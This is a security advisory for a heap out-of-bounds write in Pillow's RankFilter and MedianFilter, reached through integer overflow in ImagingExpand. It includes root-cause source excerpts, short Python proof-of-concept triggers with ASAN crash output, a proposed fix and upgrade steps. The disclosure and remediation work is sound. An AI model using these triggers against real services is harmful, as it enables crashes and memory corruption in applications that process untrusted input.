Skip to content

GHSA-xj96-63gp-2gmr BIT-pillow-2026-59197 CVE-2026-59197 PYSEC-2026-3454

Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

High PyPI
Severity
8.2 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.45%
Chance of exploitation in the next 30 days. Higher than 38.76% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-190 Integer Overflow or Wraparound
Fix
12.3.0
Upgrade pillow to this version or later

Description

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.

Minimal public API trigger:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation. With size = 4294967295, the expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes the output dimensions with unchecked signed int arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation.

This is reachable through documented public classes (RankFilter, MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom Python object is needed.

Details

Current src/PIL/ImageFilter.py:

class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size overflow:

if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);

For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size wraps to 1x1 on tested builds. The following loop still uses the huge margin:

for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}

src/libImaging/RankFilter.c does contain checks that would reject this size:

if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}

But those checks are reached only after RankFilter.filter() has already called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation

Version checks:

Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden ImagingExpand() against invalid margins and overflow:

if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

Affected versions

PyPI

PackageVulnerableFixed in
pillow
< 12.3.0
12.3.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pillow PyPI → 12.3.0

pip
pip install --upgrade "pillow>=12.3.0"
poetry
poetry add "pillow>=12.3.0"
uv
uv add "pillow>=12.3.0"

Severity breakdown

CVSS 3.1 8.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
High

Weakness

CWE-190: Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

How to prevent it
  • Requirements: Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
  • Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
  • Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
  • Implementation: Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
PYSEC-2023-175
Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863).
High Known exploited Also affects pillow
GHSA-j7hp-h8jx-5ppr
libwebp: OOB write in BuildHuffmanTable
High Known exploited Also affects pillow
GHSA-78g4-xqwv-q3g8
Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()
High Also affects pillow
GHSA-654x-cwwv-5j9c
Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1
Medium Also affects pillow
GHSA-xvh5-g6gv-559v
Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
High Also affects pillow
GHSA-g7cr-3p24-7wf7
Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer
High Also affects pillow
GHSA-9v9v-9qvf-h2hj
Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
High Also affects pillow
GHSA-g4qv-2jxx-769h
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Medium Also affects pillow
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor